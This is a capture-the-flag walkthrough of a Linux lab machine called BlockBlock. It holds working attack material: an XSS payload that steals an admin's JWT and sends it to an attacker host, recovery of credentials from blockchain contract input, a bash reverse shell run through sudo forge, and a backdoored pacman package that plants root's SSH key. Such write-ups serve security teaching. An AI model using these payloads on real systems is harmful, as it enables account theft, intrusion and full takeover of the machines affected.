Machine Card showing BlockBlock as a hard Linux machine

Reconnaissance

PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 9.7 (protocol 2.0)
| ssh-hostkey: 
|   256 d6:31:91:f6:8b:95:11:2a:73:7f:ed:ae:a5:c1:45:73 (ECDSA)
|_  256 f2:ad:6e:f1:e3:89:38:98:75:31:49:7a:93:60:07:92 (ED25519)
80/tcp    open     http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-title:          Home  - DBLC    
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
8545/tcp  open     http    Werkzeug httpd 3.0.3 (Python 3.12.3)
|_http-server-header: Werkzeug/3.0.3 Python/3.12.3
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).

Besides the pretty common port 22 for a Linux server, there seems to be two HTTP ports.

Initial Access

Web page for a decentralized blockchain chat

Browsing to port 80 shows a web page belonging to a secure decentralised blockchain chat. Apparently it’s based on Ethereum according to the bubble in the lower right corner. Checking the network tab in the browser shows periodic calls to port 8545 with a JSON payload.

{
	"jsonrpc":"2.0",
	"method":"eth_blockNumber",
	"params":[],
	"id":1
}

The answer to all this calls is 0xc that translates to 12 in decimal and corresponds to the latest block number on the blockchain. This identifies the port as the JSON-RPC interface for the Ethereum blockchain.

The web application allows the registration of a new account and doing so drops me into a chat window with a bot.

Chat with a bot

Chatting with the bot does not provoke any reaction and looking at my profile just shows the role user and a history of my messages. Looking at the HTTP requests in the background shows connections to /api/info and this endpoint returns my JWT, username and role.

Request in BurpSuite showing the response contains the JWT in the body

On the bottom of the chat window, there’s a link to the smart contracts that were deployed on the blockchain, one is for the database and the other one powers the chat.

database.sol
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.23;
 
interface IChat {
    function deleteUserMessages(string calldata user) external;
}
 
contract Database {
    struct User {
        string password;
        string role;
        bool exists;
    }
 
    address immutable owner;
    IChat chat;
 
    mapping(string username => User) users;
 
    event AccountRegistered(string username);
    event AccountDeleted(string username);
    event PasswordUpdated(string username);
    event RoleUpdated(string username);
 
    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert("Only owner can call this function");
        }
        _;
    }
    modifier onlyExistingUser(string memory username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        _;
    }
 
    constructor(string memory secondaryAdminUsername,string memory password) {
        users["admin"] = User(password, "admin", true);
        owner = msg.sender;
        registerAccount(secondaryAdminUsername, password);
    }
 
    function accountExist(string calldata username) public view returns (bool) {
        return users[username].exists;
    }
 
    function getAccount(
        string calldata username
    )
        public
        view
        onlyOwner
        onlyExistingUser(username)
        returns (string memory, string memory, string memory)
    {
        return (username, users[username].password, users[username].role);
    }
 
    function setChatAddress(address _chat) public {
        if (address(chat) != address(0)) {
            revert("Chat address already set");
        }
 
        chat = IChat(_chat);
    }
 
    function registerAccount(
        string memory username,
        string memory password
    ) public onlyOwner {
        if (
            keccak256(bytes(users[username].password)) != keccak256(bytes(""))
        ) {
            revert("Username already exists");
        }
        users[username] = User(password, "user", true);
        emit AccountRegistered(username);
    }
 
    function deleteAccount(string calldata username) public onlyOwner {
        if (!users[username].exists) {
            revert("User does not exist");
        }
        delete users[username];
 
        chat.deleteUserMessages(username);
        emit AccountDeleted(username);
    }
 
    function updatePassword(
        string calldata username,
        string calldata oldPassword,
        string calldata newPassword
    ) public onlyOwner onlyExistingUser(username) {
        if (
            keccak256(bytes(users[username].password)) !=
            keccak256(bytes(oldPassword))
        ) {
            revert("Invalid password");
        }
 
        users[username].password = newPassword;
        emit PasswordUpdated(username);
    }
 
    function updateRole(
        string calldata username,
        string calldata role
    ) public onlyOwner onlyExistingUser(username) {
        if (!users[username].exists) {
            revert("User does not exist");
        }
 
        users[username].role = role;
        emit RoleUpdated(username);
    }
}

The more interesting of the two is the database contract. It does include a constructor that accepts an username and a password for an admin user. Since all those information are stored on the blockchain, I might be able to find those credentials. Unfortunately trying to access anything other than eth_blockNumber via the port 8545 returns an error due to a missing token, so that seems to be a dead end (for now).

The chat window also includes a Report User button that opens a new popup to ask for a username. BurpSuite shows a request with that value to /api/report_user. There’s a chance that this name will be displayed on another web page for an administrator to look at. Trying out a simple XSS that loads an image shows a hit on my web server.

<img src='http://10.10.10.10/hello.jpg'></img>

This confirms my assumption and I’ll move on to steal the cookie from the viewing user. Since the cookie has the HTTPonly flag set, I can’t pull it directly from the browser, but luckily there’s the endpoint I’ve discovered beforehand. Querying the API and sending the response to my web server should include the JWT.

xss.js
const xhr = new XMLHttpRequest();
xhr.open("GET","/api/info",false);
xhr.send();
const exfil = new XMLHttpRequest();
exfil.open("GET","http://10.10.10.10/exfil="+btoa(xhr.responseText));
exfil.send();

Hosting a file called xss.js on my server that performs the actions and then loading it via the report functionality. The following payload adds a new script tag to the page, triggering the exfiltration.

{
	"username":"<img src=x onerror='var abc = document.createElement(\"script\");abc.setAttribute(\"src\",\"http://10.10.10.10/xss.js\");document.head.appendChild(abc);'></img>"
}

This creates two hits on my web server, first the xss.js and then followed by the base64 encoded response from the API.

$ echo "eyJyb2xlIjoiYWRtaW4iLCJ0b2tlbiI6ImV5SmhiR2NpT2lKSVV6STFOaUlzSW5SNWNDSTZJa3BYVkNKOS5leUptY21WemFDSTZabUZzYzJVc0ltbGhkQ0k2TVRjME1UUTFOVEF5TlN3aWFuUnBJam9pTlRBM09UZGlPR1F0TldVME5pMDBORGt6TFRrNE9URXRNRFV4TVdKbU1XTmpNVFkzSWl3aWRIbHdaU0k2SW1GalkyVnpjeUlzSW5OMVlpSTZJbUZrYldsdUlpd2libUptSWpveE56UXhORFUxTURJMUxDSmxlSEFpT2pFM05ESXdOVGs0TWpWOS5XeTFhSmZCSEY3ZzE2Vk5wVHkwNlJnNVJVX2dXOU5mbWNJRi03cWtZUEIwIiwidXNlcm5hbWUiOiJhZG1pbiJ9Cg==" | base64 -d | jq .
{
  "role": "admin",
  "token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTc0MTQ1NTAyNSwianRpIjoiNTA3OTdiOGQtNWU0Ni00NDkzLTk4OTEtMDUxMWJmMWNjMTY3IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImFkbWluIiwibmJmIjoxNzQxNDU1MDI1LCJleHAiOjE3NDIwNTk4MjV9.Wy1aJfBHF7g16VNpTy06Rg5RU_gW9NfmcIF-7qkYPB0",
  "username": "admin"
}

Replacing the cookie in my browser and refreshing the page grants me access to the admin panel. On there I can see the registered users. Besides my own account there’s also keira.

Admin web interface

Once again in the background I see requests to /api/json-rpc querying the balance of an Ethereum wallet. This time the headers include a token - probably the missing value to talk to the RPC interface.

Request to JSON-RPC including a token

Adding this request to Repeater in BurpSuite I try to query other API methods to enumerate the blockchain. Since the landing page only showed 12 blocks in total, I start there to find the block that created the smart contract1.

{
	"jsonrpc":"2.0",
	"method":"eth_getBlockByNumber",
	"params":[
		"0x1",
		true
	],
	"id":1
}

Sending a payload to retrieve the very first block works and I receive lots of information including the input that was sent along.

Request in BurpSuite showing some of the data from the first block

The input value is just a long hex string, prefixed with 0x. There are ways to decode the data properly but here it’s enough to remove the prefix and decode the hex. This results in a lot of non-printable data but contains readable strings at the end. One of those is the username keira and, based on the constructor of the smart contract, the password SomedayBitCoinWillCollapse.

Decoded hex input in Cyberchef showing the string keira and SomedayBitCoinWillCollapse

Trying those credentials on SSH grants me access as keira and I’m able to read the first flag.

Privilege Escalation

Shell as paul

Checking for sudo privileges shows that I can run forge as paul. It’s part of a modular toolkit to interact with Ethereum called Foundry.

$ sudo -l
User keira may run the following commands on blockblock:
    (paul : paul) NOPASSWD: /home/paul/.foundry/bin/forge

The documentation shows the first steps with forge being a call to init to create a new directory with the needed files. Then the project is compiled with build. Consulting the help for the buildcommand shows the parameter --use that can be used select the solc version or binary to be used2. This might be used to run any command.

$ cat << EOF > /tmp/shell.sh
#!/bin/bash
sh -i >& /dev/tcp/10.10.10.10/4444 0>&1
EOF
 
$ chmod +x /tmp/shell.sh
 
$ cd /dev/shm
 
$ sudo -u paul /home/paul/.foundry/bin/forge init hello && cd hello
Initializing /dev/shm/hello...
 
$ sudo -u paul /home/paul/.foundry/bin/forge build --use /tmp/shell.sh
# hangs...

First I prepare a script with a reverse shell and make it executable. Then I initialize a new project called hello within /dev/shm as paul. After running the build command and specifying my script in the --use parameter, I get a callback on my listener as paul.

Shell as root

Repeating the previous step and checking for sudo privileges shows that paul can run pacman as root.

$ sudo -l
User paul may run the following commands on blockblock:
    (ALL : ALL) NOPASSWD: /usr/bin/pacman

This means I can just create a package for pacman that adds places an authorized_keys file with my public key into the .ssh directory for the root user. Creating such a package is quite simple and described in detail here.

$ mkdir priv && cd priv
 
$ cat <<EOF >PKGBUILD
pkgname=privesc
pkgver=1.0
pkgrel=1
pkgdesc="Privilege Escalation Package"
arch=('any')
url="http://example.com"
license=('GPL')
depends=()
makedepends=()
source=('authorized_keys')
sha256sums=('SKIP')
package() {
  install -Dm755 "\$srcdir/authorized_keys" "\$pkgdir/root/.ssh/authorized_keys"
}
EOF
 
$ echo "ssh-rsa ..." > authorized_keys
 
$ makepkg
==> Making package: privesc 1.0-1 (Sat 08 Mar 2025 06:20:40 PM UTC)
==> Checking runtime dependencies...
==> Checking buildtime dependencies...
==> Retrieving sources...
  -> Found authorized_keys
==> Validating source files with sha256sums...
    authorized_keys ... Skipped
==> Extracting sources...
==> Entering fakeroot environment...
==> Starting package()...
==> Tidying install...
  -> Removing libtool files...
  -> Purging unwanted files...
  -> Removing static library files...
  -> Stripping unneeded symbols from binaries and libraries...
  -> Compressing man and info pages...
==> Checking for packaging issues...
==> Creating package "privesc"...
  -> Generating .PKGINFO file...
  -> Generating .BUILDINFO file...
  -> Generating .MTREE file...
  -> Compressing package...
==> Leaving fakeroot environment.
==> Finished making: privesc 1.0-1 (Sat 08 Mar 2025 06:20:42 PM UTC)

After successfully building the pacman package, I can proceed to install it. This works like a charm and I can use my SSH key to login as root to collect the final flag.

$ sudo /usr/bin/pacman -U privesc-1.0-1-any.pkg.tar.zst 
loading packages...
resolving dependencies...
looking for conflicting packages...
 
Packages (1) privesc-1.0-1
 
Total Installed Size:  0.00 MiB
 
:: Proceed with installation? [Y/n] y
(1/1) checking keys in keyring                                                                                                                 [#######################################################################################] 100%
(1/1) checking package integrity                                                                                                               [#######################################################################################] 100%
(1/1) loading package files                                                                                                                    [#######################################################################################] 100%
(1/1) checking for file conflicts                                                                                                              [#######################################################################################] 100%
(1/1) checking available disk space                                                                                                            [#######################################################################################] 100%
:: Processing package changes...
(1/1) installing privesc                                                                                                                       [#######################################################################################] 100%
warning: directory permissions differ on /root/
filesystem: 700  package: 755
warning: directory permissions differ on /root/.ssh/
filesystem: 700  package: 755

Attack Path

flowchart TD

subgraph "Initial Access"
	A(Chat) -->|Cross-Site Scripting| B(Admin Cookie)
	B -->|Access to Admin Panel| C(Token for JSON-RPC interface)
	C -->|Enumerate blocks on Ethereum blockchain| D(Input for Smart Contract)
	D -->|Decode Input| E(Credentials for keira)
end

subgraph "Privilege Escalation"
	E -->|Run foundry build as paul| F(Shell as paul)
	F -->|Run pacman as root and install backdoored package| G(Shell as root)
end

Footnotes

  1. JSON-RPC API Methods

  2. forge build